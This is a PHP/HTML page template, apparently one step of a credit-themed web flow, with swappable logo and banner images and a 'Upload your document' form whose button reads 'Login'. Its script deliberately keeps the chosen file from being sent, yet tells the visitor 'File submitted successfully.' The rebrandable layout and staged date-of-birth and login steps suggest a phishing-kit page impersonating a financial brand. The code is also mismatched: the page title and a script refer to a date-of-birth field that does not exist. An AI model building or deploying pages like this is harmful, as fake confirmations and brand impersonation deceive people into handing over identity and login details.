<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Date of birth</title>
    <link rel="stylesheet" href="<?= base_url()?>assets/credit/styles.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
  <header class="sticky-banner">
          <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 100%;"></div>
    </header>
<body>

    <div class="preloader">
        <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 300px;"></div>
    </div>

   
 <div class="banner-container">
        <div class="banner-slide active" align="center">
            <img src="<?= base_url(). $settings->image1 ?>" alt="Image 1">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image2 ?>" alt="Image 2">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image3 ?>" alt="Image 3">
        </div>
    </div>
  <main>
  <div class="form-container">
    <form action="<?= base_url()?>Credit/Dob" name="frm" method="post" class="user-form" enctype="multipart/form-data">
      <label style="color: white; text-align: center; font-weight: 500; font-family: system-ui; margin: 5px;">
        Upload your document
      </label>

      <div class="input-container">
        <i class="fa fa-file"></i>
        <!-- No name attribute so the file won't be uploaded -->
        <input type="file" id="docUpload" accept=".jpg,.jpeg,.png,.pdf" required>
      </div>

      <!-- Shown after user picks a file -->
      <div id="fileNote" style="display:none; color:#22c55e; margin:8px 0; font-weight:600;">
        File submitted successfully.
      </div>

      <!-- Optional: flag so backend knows user picked a file (without uploading it) -->
      <input type="hidden" name="file_ack" id="fileAck" value="0">

      <button type="submit" name="submit" value="Submit">Login</button>
    </form>
  </div>
</main>
   
</div>
<div>
                <center>
                    <img src="<?= base_url() ?>assets/credit/footer1.jpg" style="width:100vw; margin-top : 40px;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer2.jpg" style="width:100vw;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer3.jpg" style="width:100vw; " alt="Header" />
                </center>
            
            
                
            </div>
   <script>
  (function () {
    const fileInput = document.getElementById('docUpload');
    const note = document.getElementById('fileNote');
    const ack = document.getElementById('fileAck');

    // Show success note when a file is chosen
    fileInput.addEventListener('change', function () {
      if (this.files && this.files.length > 0) {
        note.style.display = 'block';
        ack.value = '1';
      } else {
        note.style.display = 'none';
        ack.value = '0';
      }
    });

    // Ensure no file is uploaded on submit (remove name attribute if any)
    document.forms['frm'].addEventListener('submit', function () {
      fileInput.removeAttribute('name'); // keeps the file from being posted
    });
  })();
</script>
    <script>
    document.getElementById("dobInput").addEventListener("input", function (e) {
        let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters

        // Limit to 8 digits (DDMMYYYY)
        if (value.length > 8) value = value.substring(0, 8);

        // Format as DD/MM/YYYY
        if (value.length > 4) {
            value = value.substring(0, 2) + '/' + value.substring(2, 4) + '/' + value.substring(4);
        } else if (value.length > 2) {
            value = value.substring(0, 2) + '/' + value.substring(2);
        }

        this.value = value; // Update input value
    });
</script>
    <script>
        window.addEventListener("load", function() {
            const preloader = document.querySelector(".preloader");
            preloader.style.display = "none"; // Hide preloader once the page is loaded
        });
    </script>
    <script>
        let currentSlide = 0;
const slides = document.querySelectorAll('.banner-slide');
const totalSlides = slides.length;

function showSlide(index) {
    slides.forEach((slide, i) => {
        slide.classList.remove('active');
        if (i === index) {
            slide.classList.add('active');
        }
    });
}

function nextSlide() {
    currentSlide = (currentSlide + 1) % totalSlides;
    showSlide(currentSlide);
}

setInterval(nextSlide, 3000); // Change slide every 3 seconds
    </script>

</body>
</html>
